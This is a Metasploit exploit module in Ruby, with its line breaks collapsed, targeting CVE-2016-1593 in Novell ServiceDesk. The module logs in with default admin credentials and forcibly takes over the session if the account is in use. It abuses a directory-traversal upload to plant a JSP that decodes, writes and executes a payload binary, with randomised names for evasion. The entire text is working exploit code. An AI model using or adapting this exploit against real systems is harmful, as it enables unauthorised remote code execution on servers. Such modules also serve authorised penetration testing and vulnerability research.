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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Novell ServiceDesk Authenticated File Upload', 'Description'=> %q{ This module exploits an authenticated arbitrary file upload via directory traversal to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in Windows and Linux installations of Novell ServiceDesk, as well as the Virtual Appliance provided by Novell. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>'# Vulnerability discovery and Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2016-1593' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ], [ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ] ], 'Platform'=> %w{ linux win }, 'Arch' => ARCH_X86, 'DefaultOptions' => { 'WfsDelay' => 15 }, 'Targets'=> [ [ 'Automatic', {} ], [ 'Novell ServiceDesk / Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], [ 'Novell ServiceDesk / Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], ], 'Privileged' => false,# Privileged on Windows but not on (most) Linux targets 'DefaultTarget'=> 0, 'DisclosureDate' => 'Mar 30 2016' )) register_options( [ OptPort.new('RPORT', [true, 'The target port', 80]), OptString.new('USERNAME', [true, 'The username to login as', 'admin']), OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']), OptString.new('TRAVERSAL_PATH', [false, 'Traversal path to tomcat/webapps/LiveTime/']) ], self.class) end def get_version res = send_request_cgi({ 'uri'=> normalize_uri('LiveTime','WebObjects','LiveTime.woa'), 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', } }) if res && res.code == 200 && res.body.to_s =~ /\<p class\=\"login-version-title\"\>\Version \#([0-9\.]+)\<\/p\>/ return $1.to_f else return 999 end end def check version = get_version if version <= 7.1 && version >= 6.5 return Exploit::CheckCode::Appears elsif version > 7.1 return Exploit::CheckCode::Safe else return Exploit::CheckCode::Unknown end end def pick_target return target if target.name != 'Automatic' print_status("#{peer} - Determining target") os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>} traversal_paths = [] if datastore['TRAVERSAL_PATH'] traversal_paths << datastore['TRAVERSAL_PATH']# add user specified or default Virtual Appliance path end # add Virtual Appliance path plus the traversal in a Windows or Linux self install traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/']) # test each path to determine OS (and correct path) traversal_paths.each do |traversal_path| jsp_name = upload_jsp(traversal_path, os_finder_payload) res = send_request_cgi({ 'uri'=> normalize_uri('LiveTime', jsp_name), 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', }, 'cookie' => @cookies }) if res && res.code == 200 if res.body.to_s =~ /Windows/ @my_target = targets[2] else # Linux here @my_target = targets[1] end if traversal_path.include? '/srv/tomcat6/webapps/' register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name) else register_files_for_cleanup('../webapps/LiveTime/' + jsp_name) end return traversal_path end end return nil end def upload_jsp(traversal_path, jsp) jsp_name= Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp" post_data = Rex::MIME::Message.new post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"") data = post_data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(@upload_url), 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', }, 'cookie' => @cookies, 'data' => data, 'ctype'=> "multipart/form-data; boundary=#{post_data.bound}" }) if not res && res.code == 200 fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...") else return jsp_name end end def create_jsp opts = {:arch => @my_target.arch, :platform => @my_target.platform} payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) exe = generate_payload_exe(opts) base64_exe = Rex::Text.encode_base64(exe) native_payload_name = rand_text_alpha(rand(6)+3) ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' var_raw = Rex::Text.rand_text_alpha(rand(8) + 3) var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3) var_buf = Rex::Text.rand_text_alpha(rand(8) + 3) var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3) var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3) var_path= Rex::Text.rand_text_alpha(rand(8) + 3) var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3) if @my_target['Platform'] == 'linux' var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) chmod = %Q| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); Thread.sleep(200); | var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) cleanup = %Q| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); | else chmod = '' cleanup = '' end jsp = %Q| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% try { String #{var_buf} = "#{base64_exe}"; BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); #{chmod} Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); #{cleanup} } catch (Exception e) { } %> | jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') jsp = jsp.gsub(/\x0d\x0a/, "") jsp = jsp.gsub(/\x0a/, "") return jsp end def exploit version = get_version # 1: get the cookies, the login_url and the password_form and username form names (they varies between versions) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'), 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', } }) if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ login_url = $2 @cookies = res.get_cookies if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/ password_form = $1 else # we shouldn't hit this condition at all, this is default for v7+ password_form = 'password' end if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/ username_form = $1 else # we shouldn't hit this condition at all, this is default for v7+ username_form = 'username' end else fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.") end # 2: authenticate and get the import_url res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(login_url), 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', }, 'cookie' => @cookies, 'vars_post' => { username_form => datastore['USERNAME'], password_form => datastore['PASSWORD'], 'ButtonLogin' => 'Login' } }) if res && res.code == 200 && (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5 import_url = $1 else # hmm either the password is wrong or someone else is using "our" account.. . # let's try to boot him out if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ && res.body.to_s =~ /This account is in use on another system/ res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(login_url), 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', }, 'cookie' => @cookies, 'vars_post' => { username_form => datastore['USERNAME'], password_form => datastore['PASSWORD'], 'ButtonLoginOverride' => 'Login' } }) if res && res.code == 200 && (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above res.body.to_s =~ /\<form method\=\"post\" action\=\"([\w\/\.]+)\"\>/) # v6.5 import_url = $1 else fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.") end else fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.") end end # 3: get the upload_url res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(import_url), 'headers' => { 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', }, 'cookie' => @cookies, 'vars_post' => { 'ButtonImport' => 'Import' } }) if res && res.code == 200 && (res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above res.body.to_s =~ /\<form method\=\"post\" enctype\=\"multipart\/form-data\" action\=\"([\w\/\.]+)\"\>/) # v6.5 @upload_url = $1 else fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.") end if res.body.to_s =~ /\<input type\=\"file\" name\=\"([0-9\.]+)\" \/\>/ @upload_form = $1 else # go with the default for 7.1.0, might not work with other versions... @upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23" end # 4: target selection @my_target = nil # pick_target returns the traversal_path and sets @my_target traversal_path = pick_target if @my_target.nil? fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.") else print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}") end # When using auto targeting, MSF selects the Windows meterpreter as the default payload. # Fail if this is the case and ask the user to select an appropriate payload. if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/ fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") end # 5: generate the JSP with the payload jsp = create_jsp print_status("#{peer} - Uploading payload...") jsp_name = upload_jsp(traversal_path, jsp) if traversal_path.include? '/srv/tomcat6/webapps/' register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name) else register_files_for_cleanup('../webapps/LiveTime/' + jsp_name) end # 6: pwn it! print_status("#{peer} - Requesting #{jsp_name}") send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)}) handler end end |
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